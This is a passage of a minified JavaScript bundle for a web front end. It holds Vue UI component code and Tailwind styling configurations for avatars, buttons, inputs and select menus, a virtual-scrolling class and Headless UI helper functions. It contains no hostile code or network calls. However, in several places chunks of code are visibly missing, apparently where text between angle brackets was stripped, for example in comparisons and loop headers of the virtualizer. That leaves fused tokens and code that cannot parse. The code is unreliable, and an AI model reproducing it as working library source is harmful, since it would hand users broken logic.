items-center justify-between px-8 border-b border-gray-700"},Rl=nl('',3),$l=[Rl];function Tl(e,t){return G(),oe("header",Cl,$l)}const Pl=Kr(kl,[["render",Tl]]),Nl=xe({props:{name:{type:String,required:!0},dynamic:{type:Boolean,default:!1}},setup(e){const t=ts();return{dynamic:q(()=>{var n,i;return e.dynamic||((i=(n=t.ui)==null?void 0:n.icons)==null?void 0:i.dynamic)})}}});function zl(e,t,r,n,i,a){const s=bl;return e.dynamic?(G(),Qe(s,{key:0,name:e.name},null,8,["name"])):(G(),oe("span",{key:1,class:ae(e.name)},null,2))}const Qt=Kr(Nl,[["render",zl]]),Rn=(e,t,r,n,i=!1)=>{const a=il(),s=ts(),o=q(()=>{var E;const b=Hi(t),p=Hi(r),m=Hi(n);return dn((b==null?void 0:b.strategy)||((E=s.ui)==null?void 0:E.strategy),m?{wrapper:m}:{},b||{},i?ls(s.ui,e,{}):{},p||{})}),d=q(()=>Il(a,["class"]));return{ui:o,attrs:d}},Dl={wrapper:"relative inline-flex items-center justify-center flex-shrink-0",background:"bg-gray-100 dark:bg-gray-800",rounded:"rounded-full",text:"font-medium leading-none text-gray-900 dark:text-white truncate",placeholder:"font-medium leading-none text-gray-500 dark:text-gray-400 truncate",size:{"3xs":"h-4 w-4 text-[8px]","2xs":"h-5 w-5 text-[10px]",xs:"h-6 w-6 text-xs",sm:"h-8 w-8 text-sm",md:"h-10 w-10 text-base",lg:"h-12 w-12 text-lg",xl:"h-14 w-14 text-xl","2xl":"h-16 w-16 text-2xl","3xl":"h-20 w-20 text-3xl"},chip:{base:"absolute rounded-full ring-1 ring-white dark:ring-gray-900 flex items-center justify-center text-white dark:text-gray-900 font-medium",background:"bg-{color}-500 dark:bg-{color}-400",position:{"top-right":"top-0 right-0","bottom-right":"bottom-0 right-0","top-left":"top-0 left-0","bottom-left":"bottom-0 left-0"},size:{"3xs":"h-[4px] min-w-[4px] text-[4px] p-px","2xs":"h-[5px] min-w-[5px] text-[5px] p-px",xs:"h-1.5 min-w-[0.375rem] text-[6px] p-px",sm:"h-2 min-w-[0.5rem] text-[7px] p-0.5",md:"h-2.5 min-w-[0.625rem] text-[8px] p-0.5",lg:"h-3 min-w-[0.75rem] text-[10px] p-0.5",xl:"h-3.5 min-w-[0.875rem] text-[11px] p-1","2xl":"h-4 min-w-[1rem] text-[12px] p-1","3xl":"h-5 min-w-[1.25rem] text-[14px] p-1"}},icon:{base:"text-gray-500 dark:text-gray-400 flex-shrink-0",size:{"3xs":"h-2 w-2","2xs":"h-2.5 w-2.5",xs:"h-3 w-3",sm:"h-4 w-4",md:"h-5 w-5",lg:"h-6 w-6",xl:"h-7 w-7","2xl":"h-8 w-8","3xl":"h-10 w-10"}},default:{size:"sm",icon:null,chipColor:null,chipPosition:"top-right"}},Fl={base:"focus:outline-none focus-visible:outline-0 disabled:cursor-not-allowed disabled:opacity-75 flex-shrink-0",font:"font-medium",rounded:"rounded-md",truncate:"text-left break-all line-clamp-1",block:"w-full flex justify-center items-center",inline:"inline-flex items-center",size:{"2xs":"text-xs",xs:"text-xs",sm:"text-sm",md:"text-sm",lg:"text-sm",xl:"text-base"},gap:{"2xs":"gap-x-1",xs:"gap-x-1.5",sm:"gap-x-1.5",md:"gap-x-2",lg:"gap-x-2.5",xl:"gap-x-2.5"},padding:{"2xs":"px-2 py-1",xs:"px-2.5 py-1.5",sm:"px-2.5 py-1.5",md:"px-3 py-2",lg:"px-3.5 py-2.5",xl:"px-3.5 py-2.5"},square:{"2xs":"p-1",xs:"p-1.5",sm:"p-1.5",md:"p-2",lg:"p-2.5",xl:"p-2.5"},color:{white:{solid:"shadow-sm ring-1 ring-inset ring-gray-300 dark:ring-gray-700 text-gray-900 dark:text-white bg-white hover:bg-gray-50 disabled:bg-white dark:bg-gray-900 dark:hover:bg-gray-800/50 dark:disabled:bg-gray-900 focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400",ghost:"text-gray-900 dark:text-white hover:bg-white dark:hover:bg-gray-900 focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400"},gray:{solid:"shadow-sm ring-1 ring-inset ring-gray-300 dark:ring-gray-700 text-gray-700 dark:text-gray-200 bg-gray-50 hover:bg-gray-100 disabled:bg-gray-50 dark:bg-gray-800 dark:hover:bg-gray-700/50 dark:disabled:bg-gray-800 focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400",ghost:"text-gray-700 dark:text-gray-200 hover:text-gray-900 dark:hover:text-white hover:bg-gray-50 dark:hover:bg-gray-800 focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400",link:"text-gray-500 dark:text-gray-400 hover:text-gray-700 dark:hover:text-gray-200 underline-offset-4 hover:underline focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400"},black:{solid:"shadow-sm text-white dark:text-gray-900 bg-gray-900 hover:bg-gray-800 disabled:bg-gray-900 dark:bg-white dark:hover:bg-gray-100 dark:disabled:bg-white focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400",link:"text-gray-900 dark:text-white underline-offset-4 hover:underline focus-visible:ring-inset focus-visible:ring-2 focus-visible:ring-primary-500 dark:focus-visible:ring-primary-400"}},variant:{solid:"shadow-sm text-white dark:text-gray-900 bg-{color}-500 hover:bg-{color}-600 disabled:bg-{color}-500 dark:bg-{color}-400 dark:hover:bg-{color}-500 dark:disabled:bg-{color}-400 focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-{color}-500 dark:focus-visible:outline-{color}-400",outline:"ring-1 ring-inset ring-current text-{color}-500 dark:text-{color}-400 hover:bg-{color}-50 disabled:bg-transparent dark:hover:bg-{color}-950 dark:disabled:bg-transparent focus-visible:ring-2 focus-visible:ring-{color}-500 dark:focus-visible:ring-{color}-400",soft:"text-{color}-500 dark:text-{color}-400 bg-{color}-50 hover:bg-{color}-100 disabled:bg-{color}-50 dark:bg-{color}-950 dark:hover:bg-{color}-900 dark:disabled:bg-{color}-950 focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-{color}-500 dark:focus-visible:ring-{color}-400",ghost:"text-{color}-500 dark:text-{color}-400 hover:bg-{color}-50 disabled:bg-transparent dark:hover:bg-{color}-950 dark:disabled:bg-transparent focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-{color}-500 dark:focus-visible:ring-{color}-400",link:"text-{color}-500 hover:text-{color}-600 disabled:text-{color}-500 dark:text-{color}-400 dark:hover:text-{color}-500 dark:disabled:text-{color}-400 underline-offset-4 hover:underline focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-{color}-500 dark:focus-visible:ring-{color}-400"},icon:{base:"flex-shrink-0",loading:"animate-spin",size:{"2xs":"h-4 w-4",xs:"h-4 w-4",sm:"h-5 w-5",md:"h-5 w-5",lg:"h-5 w-5",xl:"h-6 w-6"}},default:{size:"sm",variant:"solid",color:"primary",loadingIcon:"i-heroicons-arrow-path-20-solid"}},us={base:"invisible before:visible before:block before:rotate-45 before:z-[-1] before:w-2 before:h-2",ring:"before:ring-1 before:ring-gray-200 dark:before:ring-gray-800",rounded:"before:rounded-sm",background:"before:bg-gray-200 dark:before:bg-gray-800",shadow:"before:shadow",placement:"group-data-[popper-placement*='right']:-left-1 group-data-[popper-placement*='left']:-right-1 group-data-[popper-placement*='top']:-bottom-1 group-data-[popper-placement*='bottom']:-top-1"},cs={wrapper:"relative",base:"relative block w-full disabled:cursor-not-allowed disabled:opacity-75 focus:outline-none border-0",form:"form-input",rounded:"rounded-md",placeholder:"placeholder-gray-400 dark:placeholder-gray-500",file:{base:"file:mr-1.5 file:font-medium file:text-gray-500 dark:file:text-gray-400 file:bg-transparent file:border-0 file:p-0 file:outline-none"},size:{"2xs":"text-xs",xs:"text-xs",sm:"text-sm",md:"text-sm",lg:"text-sm",xl:"text-base"},gap:{"2xs":"gap-x-1",xs:"gap-x-1.5",sm:"gap-x-1.5",md:"gap-x-2",lg:"gap-x-2.5",xl:"gap-x-2.5"},padding:{"2xs":"px-2 py-1",xs:"px-2.5 py-1.5",sm:"px-2.5 py-1.5",md:"px-3 py-2",lg:"px-3.5 py-2.5",xl:"px-3.5 py-2.5"},leading:{padding:{"2xs":"ps-7",xs:"ps-8",sm:"ps-9",md:"ps-10",lg:"ps-11",xl:"ps-12"}},trailing:{padding:{"2xs":"pe-7",xs:"pe-8",sm:"pe-9",md:"pe-10",lg:"pe-11",xl:"pe-12"}},color:{white:{outline:"shadow-sm bg-white dark:bg-gray-900 text-gray-900 dark:text-white ring-1 ring-inset ring-gray-300 dark:ring-gray-700 focus:ring-2 focus:ring-primary-500 dark:focus:ring-primary-400"},gray:{outline:"shadow-sm bg-gray-50 dark:bg-gray-800 text-gray-900 dark:text-white ring-1 ring-inset ring-gray-300 dark:ring-gray-700 focus:ring-2 focus:ring-primary-500 dark:focus:ring-primary-400"}},variant:{outline:"shadow-sm bg-transparent text-gray-900 dark:text-white ring-1 ring-inset ring-{color}-500 dark:ring-{color}-400 focus:ring-2 focus:ring-{color}-500 dark:focus:ring-{color}-400",none:"bg-transparent focus:ring-0 focus:shadow-none"},icon:{base:"flex-shrink-0 text-gray-400 dark:text-gray-500",color:"text-{color}-500 dark:text-{color}-400",loading:"animate-spin",size:{"2xs":"h-4 w-4",xs:"h-4 w-4",sm:"h-5 w-5",md:"h-5 w-5",lg:"h-5 w-5",xl:"h-6 w-6"},leading:{wrapper:"absolute inset-y-0 start-0 flex items-center",pointer:"pointer-events-none",padding:{"2xs":"px-2",xs:"px-2.5",sm:"px-2.5",md:"px-3",lg:"px-3.5",xl:"px-3.5"}},trailing:{wrapper:"absolute inset-y-0 end-0 flex items-center",pointer:"pointer-events-none",padding:{"2xs":"px-2",xs:"px-2.5",sm:"px-2.5",md:"px-3",lg:"px-3.5",xl:"px-3.5"}}},default:{size:"sm",color:"white",variant:"outline",loadingIcon:"i-heroicons-arrow-path-20-solid"}},So={container:"z-20 group",trigger:"flex items-center w-full",width:"w-full",height:"max-h-60",base:"relative focus:outline-none overflow-y-auto scroll-py-1",background:"bg-white dark:bg-gray-800",shadow:"shadow-lg",rounded:"rounded-md",padding:"p-1",ring:"ring-1 ring-gray-200 dark:ring-gray-700",empty:"text-sm text-gray-400 dark:text-gray-500 px-2 py-1.5",option:{base:"cursor-default select-none relative flex items-center justify-between gap-1",rounded:"rounded-md",padding:"px-1.5 py-1.5",size:"text-sm",color:"text-gray-900 dark:text-white",container:"flex items-center gap-1.5 min-w-0",active:"bg-gray-100 dark:bg-gray-900",inactive:"",selected:"pe-7",disabled:"cursor-not-allowed opacity-50",empty:"text-sm text-gray-400 dark:text-gray-500 px-2 py-1.5",icon:{base:"flex-shrink-0 h-5 w-5",active:"text-gray-900 dark:text-white",inactive:"text-gray-400 dark:text-gray-500"},selectedIcon:{wrapper:"absolute inset-y-0 end-0 flex items-center",padding:"pe-2",base:"h-5 w-5 text-gray-900 dark:text-white flex-shrink-0"},avatar:{base:"flex-shrink-0",size:"2xs"},chip:{base:"flex-shrink-0 w-2 h-2 mx-1 rounded-full"}},transition:{leaveActiveClass:"transition ease-in duration-100",leaveFromClass:"opacity-100",leaveToClass:"opacity-0"},popper:{placement:"bottom-end"},default:{selectedIcon:"i-heroicons-check-20-solid",trailingIcon:"i-heroicons-chevron-down-20-solid"},arrow:{...us,ring:"before:ring-1 before:ring-gray-200 dark:before:ring-gray-700",background:"before:bg-white dark:before:bg-gray-700"}},Ll={...cs,form:"form-textarea",default:{size:"sm",color:"white",variant:"outline"}},jl={...cs,form:"form-select",placeholder:"text-gray-400 dark:text-gray-500",default:{size:"sm",color:"white",variant:"outline",loadingIcon:"i-heroicons-arrow-path-20-solid",trailingIcon:"i-heroicons-chevron-down-20-solid"}},Ul={...So,select:"inline-flex items-center text-left cursor-default",input:"block w-[calc(100%+0.5rem)] focus:ring-transparent text-sm px-3 py-1.5 text-gray-700 dark:text-gray-200 bg-white dark:bg-gray-800 border-0 border-b border-gray-200 dark:border-gray-700 sticky -top-1 -mt-1 mb-1 -mx-1 z-10 placeholder-gray-400 dark:placeholder-gray-500 focus:outline-none",required:"absolute inset-0 w-px opacity-0 cursor-default",label:"block truncate",option:{...So.option,create:"block truncate"},transition:{leaveActiveClass:"transition ease-in duration-100",leaveFromClass:"opacity-100",leaveToClass:"opacity-0"},popper:{placement:"bottom-end"},default:{selectedIcon:"i-heroicons-check-20-solid",clearSearchOnClose:!1,showCreateOptionWhen:"empty"},arrow:{...us,ring:"before:ring-1 before:ring-gray-200 dark:before:ring-gray-700",background:"before:bg-white dark:before:bg-gray-700"}},Br=dn(nt.ui.strategy,nt.ui.avatar,Dl),ql=xe({components:{UIcon:Qt},inheritAttrs:!1,props:{as:{type:[String,Object],default:"img"},src:{type:[String,Boolean],default:null},alt:{type:String,default:null},text:{type:String,default:null},icon:{type:String,default:()=>Br.default.icon},size:{type:String,default:()=>Br.default.size,validator(e){return Object.keys(Br.size).includes(e)}},chipColor:{type:String,default:()=>Br.default.chipColor,validator(e){return["gray",...nt.ui.colors].includes(e)}},chipPosition:{type:String,default:()=>Br.default.chipPosition,validator(e){return Object.keys(Br.chip.position).includes(e)}},chipText:{type:[String,Number],default:null},imgClass:{type:String,default:""},class:{type:[String,Object,Array],default:()=>""},ui:{type:Object,default:()=>({})}},setup(e){const{ui:t,attrs:r}=Rn("avatar",Nr(e,"ui"),Br),n=q(()=>typeof e.src=="boolean"?null:e.src),i=q(()=>(e.alt||"").split(" ").map(m=>m.charAt(0)).join("").substring(0,2)),a=q(()=>Cn(ct(t.value.wrapper,(b.value||!n.value)&&t.value.background,t.value.rounded,t.value.size[e.size]),e.class)),s=q(()=>Cn(ct(t.value.rounded,t.value.size[e.size]),e.imgClass)),o=q(()=>ct(t.value.icon.base,t.value.icon.size[e.size])),d=q(()=>ct(t.value.chip.base,t.value.chip.size[e.size],t.value.chip.position[e.chipPosition],t.value.chip.background.replaceAll("{color}",e.chipColor))),b=re(!1);Je(()=>e.src,()=>{b.value&&(b.value=!1)});function p(){b.value=!0}return{ui:t,attrs:r,wrapperClass:a,imgClass:s,iconClass:o,chipClass:d,url:n,placeholder:i,error:b,onError:p}}});function Hl(e,t,r,n,i,a){const s=Qt;return G(),oe("span",{class:ae(e.wrapperClass)},[e.url&&!e.error?(G(),Qe($r(e.as),lr({key:0,class:e.imgClass,alt:e.alt,src:e.url},e.attrs,{onError:e.onError}),null,16,["class","alt","src","onError"])):e.text?(G(),oe("span",{key:1,class:ae(e.ui.text)},dt(e.text),3)):e.icon?(G(),Qe(s,{key:2,name:e.icon,class:ae(e.iconClass)},null,8,["name","class"])):e.placeholder?(G(),oe("span",{key:3,class:ae(e.ui.placeholder)},dt(e.placeholder),3)):Ce("",!0),e.chipColor?(G(),oe("span",{key:4,class:ae(e.chipClass)},dt(e.chipText),3)):Ce("",!0),at(e.$slots,"default")],2)}const ds=Kr(ql,[["render",Hl]]);function Mn(e,t,r){let n=r.initialDeps??[],i;return()=>{var a,s,o,d;let b;r.key&&((a=r.debug)!=null&&a.call(r))&&(b=Date.now());const p=e();if(!(p.length!==n.length||p.some((I,B)=>n[B]!==I)))return i;n=p;let E;if(r.key&&((s=r.debug)!=null&&s.call(r))&&(E=Date.now()),i=t(...p),r.key&&((o=r.debug)!=null&&o.call(r))){const I=Math.round((Date.now()-b)*100)/100,B=Math.round((Date.now()-E)*100)/100,C=B/16,F=(z,D)=>{for(z=String(z);z.lengthMath.abs(e-t)<1,Kl=(e,t,r)=>{let n;return function(...i){e.clearTimeout(n),n=e.setTimeout(()=>t.apply(this,i),r)}},Wl=e=>e,Jl=e=>{const t=Math.max(e.startIndex-e.overscan,0),r=Math.min(e.endIndex+e.overscan,e.count-1),n=[];for(let i=t;i<=r;i++)n.push(i);return n},Yl=(e,t)=>{const r=e.scrollElement;if(!r)return;const n=e.targetWindow;if(!n)return;const i=o=>{const{width:s,height:c}=o;t({width:Math.round(s),height:Math.round(c)})};if(i(r.getBoundingClientRect()),!n.ResizeObserver)return()=>{};const a=new n.ResizeObserver(o=>{const s=o[0];if(s!=null&&s.borderBoxSize){const c=s.borderBoxSize[0];if(c){i({width:c.inlineSize,height:c.blockSize});return}}i(r.getBoundingClientRect())});return a.observe(r,{box:"border-box"}),()=>{a.unobserve(r)}},Mo={passive:!0},Xl=typeof window>"u"?!0:"onscrollend"in window,Gl=(e,t)=>{const r=e.scrollElement;if(!r)return;const n=e.targetWindow;if(!n)return;let i=0;const a=Xl?()=>{}:Kl(n,()=>{t(i,!1)},e.options.isScrollingResetDelay),o=b=>()=>{i=r[e.options.horizontal?"scrollLeft":"scrollTop"],a(),t(i,b)},s=o(!0),c=o(!1);return c(),r.addEventListener("scroll",s,Mo),r.addEventListener("scrollend",c,Mo),()=>{r.removeEventListener("scroll",s),r.removeEventListener("scrollend",c)}},Zl=(e,t,r)=>{if(t!=null&&t.borderBoxSize){const n=t.borderBoxSize[0];if(n)return Math.round(n[r.options.horizontal?"inlineSize":"blockSize"])}return Math.round(e.getBoundingClientRect()[r.options.horizontal?"width":"height"])},Ql=(e,{adjustments:t=0,behavior:r},n)=>{var i,a;const o=e+t;(a=(i=n.scrollElement)==null?void 0:i.scrollTo)==null||a.call(i,{[n.options.horizontal?"left":"top"]:o,behavior:r})};class eu{constructor(t){this.unsubs=[],this.scrollElement=null,this.targetWindow=null,this.isScrolling=!1,this.scrollToIndexTimeoutId=null,this.measurementsCache=[],this.itemSizeCache=new Map,this.pendingMeasuredCacheIndexes=[],this.scrollRect=null,this.scrollOffset=null,this.scrollDirection=null,this.scrollAdjustments=0,this.elementsCache=new Map,this.observer=(()=>{let r=null;const n=()=>r||(!this.targetWindow||!this.targetWindow.ResizeObserver?null:r=new this.targetWindow.ResizeObserver(i=>{i.forEach(a=>{this._measureElement(a.target,a)})}));return{disconnect:()=>{var i;return(i=n())==null?void 0:i.disconnect()},observe:i=>{var a;return(a=n())==null?void 0:a.observe(i,{box:"border-box"})},unobserve:i=>{var a;return(a=n())==null?void 0:a.unobserve(i)}}})(),this.range=null,this.setOptions=r=>{Object.entries(r).forEach(([n,i])=>{typeof i>"u"&&delete r[n]}),this.options={debug:!1,initialOffset:0,overscan:1,paddingStart:0,paddingEnd:0,scrollPaddingStart:0,scrollPaddingEnd:0,horizontal:!1,getItemKey:Wl,rangeExtractor:Jl,onChange:()=>{},measureElement:Zl,initialRect:{width:0,height:0},scrollMargin:0,gap:0,indexAttribute:"data-index",initialMeasurementsCache:[],lanes:1,isScrollingResetDelay:150,enabled:!0,...r}},this.notify=(r,n)=>{var i,a;const{startIndex:o,endIndex:s}=this.range??{startIndex:void 0,endIndex:void 0},c=this.calculateRange();(r||o!==(c==null?void 0:c.startIndex)||s!==(c==null?void 0:c.endIndex))&&((a=(i=this.options).onChange)==null||a.call(i,this,n))},this.cleanup=()=>{this.unsubs.filter(Boolean).forEach(r=>r()),this.unsubs=[],this.scrollElement=null,this.targetWindow=null,this.observer.disconnect(),this.elementsCache.clear()},this._didMount=()=>()=>{this.cleanup()},this._willUpdate=()=>{var r;const n=this.options.enabled?this.options.getScrollElement():null;if(this.scrollElement!==n){if(this.cleanup(),!n){this.notify(!1,!1);return}this.scrollElement=n,this.scrollElement&&"ownerDocument"in this.scrollElement?this.targetWindow=this.scrollElement.ownerDocument.defaultView:this.targetWindow=((r=this.scrollElement)==null?void 0:r.window)??null,this._scrollToOffset(this.getScrollOffset(),{adjustments:void 0,behavior:void 0}),this.unsubs.push(this.options.observeElementRect(this,i=>{this.scrollRect=i,this.notify(!1,!1)})),this.unsubs.push(this.options.observeElementOffset(this,(i,a)=>{this.scrollAdjustments=0,this.scrollDirection=a?this.getScrollOffset()this.options.enabled?(this.scrollRect=this.scrollRect??this.options.initialRect,this.scrollRect[this.options.horizontal?"width":"height"]):(this.scrollRect=null,0),this.getScrollOffset=()=>this.options.enabled?(this.scrollOffset=this.scrollOffset??(typeof this.options.initialOffset=="function"?this.options.initialOffset():this.options.initialOffset),this.scrollOffset):(this.scrollOffset=null,0),this.getFurthestMeasurement=(r,n)=>{const i=new Map,a=new Map;for(let o=n-1;o>=0;o--){const s=r[o];if(i.has(s.lane))continue;const c=a.get(s.lane);if(c==null||s.end>c.end?a.set(s.lane,s):s.endo.end===s.end?o.index-s.index:o.end-s.end)[0]:void 0},this.getMeasurementOptions=Mn(()=>[this.options.count,this.options.paddingStart,this.options.scrollMargin,this.options.getItemKey,this.options.enabled],(r,n,i,a,o)=>(this.pendingMeasuredCacheIndexes=[],{count:r,paddingStart:n,scrollMargin:i,getItemKey:a,enabled:o}),{key:!1}),this.getMeasurements=Mn(()=>[this.getMeasurementOptions(),this.itemSizeCache],({count:r,paddingStart:n,scrollMargin:i,getItemKey:a,enabled:o},s)=>{var c;if(!o)return this.measurementsCache=[],this.itemSizeCache.clear(),[];this.measurementsCache.length===0&&(this.measurementsCache=this.options.initialMeasurementsCache,this.measurementsCache.forEach(m=>{this.itemSizeCache.set(m.key,m.size)}));const b=this.pendingMeasuredCacheIndexes.length>0?Math.min(...this.pendingMeasuredCacheIndexes):0;this.pendingMeasuredCacheIndexes=[];const p=this.measurementsCache.slice(0,b);for(let m=b;m{const $=a(m),L=this.elementsCache.get($);if(!N){L&&(this.observer.unobserve(L),this.elementsCache.delete($));return}L!==N&&(L&&this.observer.unobserve(L),this.observer.observe(N),this.elementsCache.set($,N)),N.isConnected&&this.resizeItem(m,this.options.measureElement(N,void 0,this))});const I=a(m),B=this.options.lanes===1?p[m-1]:this.getFurthestMeasurement(p,m),C=B?B.end+this.options.gap:n+i,F=s.get(I),z=typeof F=="number"?F:this.options.estimateSize(m),D=C+z,R=B?B.lane:m%this.options.lanes;p[m]={index:m,start:C,size:z,end:D,key:I,lane:R,measureElement:E}}return this.measurementsCache=p,p},{key:!1,debug:()=>this.options.debug}),this.calculateRange=Mn(()=>[this.getMeasurements(),this.getSize(),this.getScrollOffset()],(r,n,i)=>this.range=r.length>0&&n>0?tu({measurements:r,outerSize:n,scrollOffset:i}):null,{key:!1,debug:()=>this.options.debug}),this.getIndexes=Mn(()=>[this.options.rangeExtractor,this.calculateRange(),this.options.overscan,this.options.count],(r,n,i,a)=>n===null?[]:r({startIndex:n.startIndex,endIndex:n.endIndex,overscan:i,count:a}),{key:!1,debug:()=>this.options.debug}),this.indexFromElement=r=>{const n=this.options.indexAttribute,i=r.getAttribute(n);return i?parseInt(i,10):(console.warn(`Missing attribute name '${n}={index}' on measured element.`),-1)},this._measureElement=(r,n)=>{const i=this.indexFromElement(r),a=this.getMeasurements()[i];if(!a||!r.isConnected){this.elementsCache.forEach((s,c)=>{s===r&&(this.observer.unobserve(r),this.elementsCache.delete(c))});return}const o=this.elementsCache.get(a.key);o!==r&&(o&&this.observer.unobserve(o),this.observer.observe(r),this.elementsCache.set(a.key,r)),this.resizeItem(i,this.options.measureElement(r,n,this))},this.resizeItem=(r,n)=>{const i=this.getMeasurements()[r];if(!i)return;const a=this.itemSizeCache.get(i.key)??i.size,o=n-a;o!==0&&((this.shouldAdjustScrollPositionOnItemSizeChange!==void 0?this.shouldAdjustScrollPositionOnItemSizeChange(i,o,this):i.start{r&&this._measureElement(r,void 0)},this.getVirtualItems=Mn(()=>[this.getIndexes(),this.getMeasurements()],(r,n)=>{const i=[];for(let a=0,o=r.length;athis.options.debug}),this.getVirtualItemForOffset=r=>{const n=this.getMeasurements();if(n.length!==0)return Ki(n[hs(0,n.length-1,i=>Ki(n[i]).start,r)])},this.getOffsetForAlignment=(r,n)=>{const i=this.getSize(),a=this.getScrollOffset();n==="auto"&&(r<=a?n="start":r>=a+i?n="end":n="start"),n==="start"?r=r:n==="end"?r=r-i:n==="center"&&(r=r-i/2);const o=this.options.horizontal?"scrollWidth":"scrollHeight",c=(this.scrollElement?"document"in this.scrollElement?this.scrollElement.document.documentElement[o]:this.scrollElement[o]:0)-i;return Math.max(Math.min(c,r),0)},this.getOffsetForIndex=(r,n="auto")=>{r=Math.max(0,Math.min(r,this.options.count-1));const i=this.getMeasurements()[r];if(!i)return;const a=this.getSize(),o=this.getScrollOffset();if(n==="auto")if(i.end>=o+a-this.options.scrollPaddingEnd)n="end";else if(i.start<=o+this.options.scrollPaddingStart)n="start";else return[o,n];const s=n==="end"?i.end+this.options.scrollPaddingEnd:i.start-this.options.scrollPaddingStart;return[this.getOffsetForAlignment(s,n),n]},this.isDynamicMode=()=>this.elementsCache.size>0,this.cancelScrollToIndex=()=>{this.scrollToIndexTimeoutId!==null&&this.targetWindow&&(this.targetWindow.clearTimeout(this.scrollToIndexTimeoutId),this.scrollToIndexTimeoutId=null)},this.scrollToOffset=(r,{align:n="start",behavior:i}={})=>{this.cancelScrollToIndex(),i==="smooth"&&this.isDynamicMode()&&console.warn("The `smooth` scroll behavior is not fully supported with dynamic size."),this._scrollToOffset(this.getOffsetForAlignment(r,n),{adjustments:void 0,behavior:i})},this.scrollToIndex=(r,{align:n="auto",behavior:i}={})=>{r=Math.max(0,Math.min(r,this.options.count-1)),this.cancelScrollToIndex(),i==="smooth"&&this.isDynamicMode()&&console.warn("The `smooth` scroll behavior is not fully supported with dynamic size.");const a=this.getOffsetForIndex(r,n);if(!a)return;const[o,s]=a;this._scrollToOffset(o,{adjustments:void 0,behavior:i}),i!=="smooth"&&this.isDynamicMode()&&this.targetWindow&&(this.scrollToIndexTimeoutId=this.targetWindow.setTimeout(()=>{if(this.scrollToIndexTimeoutId=null,this.elementsCache.has(this.options.getItemKey(r))){const[b]=Ki(this.getOffsetForIndex(r,s));Vl(b,this.getScrollOffset())||this.scrollToIndex(r,{align:s,behavior:i})}else this.scrollToIndex(r,{align:s,behavior:i})}))},this.scrollBy=(r,{behavior:n}={})=>{this.cancelScrollToIndex(),n==="smooth"&&this.isDynamicMode()&&console.warn("The `smooth` scroll behavior is not fully supported with dynamic size."),this._scrollToOffset(this.getScrollOffset()+r,{adjustments:void 0,behavior:n})},this.getTotalSize=()=>{var r;const n=this.getMeasurements();let i;return n.length===0?i=this.options.paddingStart:i=this.options.lanes===1?((r=n[n.length-1])==null?void 0:r.end)??0:Math.max(...n.slice(-this.options.lanes).map(a=>a.end)),i-this.options.scrollMargin+this.options.paddingEnd},this._scrollToOffset=(r,{adjustments:n,behavior:i})=>{this.options.scrollToFn(r,{behavior:i,adjustments:n},this)},this.measure=()=>{var r,n;this.itemSizeCache=new Map,(n=(r=this.options).onChange)==null||n.call(r,this,!1)},this.setOptions(t)}}const hs=(e,t,r,n)=>{for(;e<=t;){const i=(e+t)/2|0,a=r(i);if(an)t=i-1;else return i}return e>0?e-1:0};function tu({measurements:e,outerSize:t,scrollOffset:r}){const n=e.length-1,a=hs(0,n,s=>e[s].start,r);let o=a;for(;oZ(e).getScrollElement(),i=>{i&&t._willUpdate()},{immediate:!0}),Je(()=>Z(e),i=>{t.setOptions({...i,onChange:(a,o)=>{var s;bo(r),(s=i.onChange)==null||s.call(i,a,o)}}),t._willUpdate(),bo(r)},{immediate:!0}),al(n),r}function nu(e){return ru(q(()=>({observeElementRect:Yl,observeElementOffset:Gl,scrollToFn:Ql,...Z(e)})))}function ps(e,t,r){let n=re(r==null?void 0:r.value),i=q(()=>e.value!==void 0);return[q(()=>i.value?e.value:n.value),function(a){return i.value||(n.value=a),t==null?void 0:t(a)}]}function iu(e){typeof queueMicrotask=="function"?queueMicrotask(e):Promise.resolve().then(e).catch(t=>setTimeout(()=>{throw t}))}function Xn(){let e=[],t={addEventListener(r,n,i,a){return r.addEventListener(n,i,a),t.add(()=>r.removeEventListener(n,i,a))},requestAnimationFrame(...r){let n=requestAnimationFrame(...r);t.add(()=>cancelAnimationFrame(n))},nextFrame(...r){t.requestAnimationFrame(()=>{t.requestAnimationFrame(...r)})},setTimeout(...r){let n=setTimeout(...r);t.add(()=>clearTimeout(n))},microTask(...r){let n={current:!0};return iu(()=>{n.current&&r[0]()}),t.add(()=>{n.current=!1})},style(r,n,i){let a=r.style.getPropertyValue(n);return Object.assign(r.style,{[n]:i}),this.add(()=>{Object.assign(r.style,{[n]:a})})},group(r){let n=Xn();return r(n),this.add(()=>n.dispose())},add(r){return e.push(r),()=>{let n=e.indexOf(r);if(n>=0)for(let i of e.splice(n,1))i()}},dispose(){for(let r of e.splice(0))r()}};return t}function au(){let e=Xn();return ni(()=>e.dispose()),e}function ou(){let e=au();return t=>{e.dispose(),e.nextFrame(t)}}let bs=Symbol("headlessui.useid"),su=0;function Wr(){return kt(bs,()=>`${++su}`)()}function fu(e){hn(bs,e)}function ee(e){var t;if(e==null||e.value==null)return null;let r=(t=e.value.$el)!=null?t:e.value;return r instanceof Node?r:null}function tt(e,t,...r){if(e in t){let i=t[e];return typeof i=="function"?i(...r):i}let n=new Error(`Tried to handle "${e}" but there is no handler defined. Only defined handlers are: ${Object.keys(t).map(i=>`"${i}"`).join(", ")}.`);throw Error.captureStackTrace&&Error.captureStackTrace(n,tt),n}var lu=Object.defineProperty,uu=(e,t,r)=>t in e?lu(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,_o=(e,t,r)=>(uu(e,typeof t!="symbol"?t+"":t,r),r);let du=class{constructor(){_o(this,"current",this.detect()),_o(this,"currentId",0)}set(t){this.current!==t&&(this.currentId=0,this.current=t)}reset(){this.set(this.detect())}nextId(){return++this.currentId}get isServer(){return this.current==="server"}get isClient(){return this.current==="client"}detect(){return typeof window>"u"||typeof document>"u"?"server":"client"}},Ia=new du;function Oa(e){if(Ia.isServer)return null;if(e instanceof Node)return 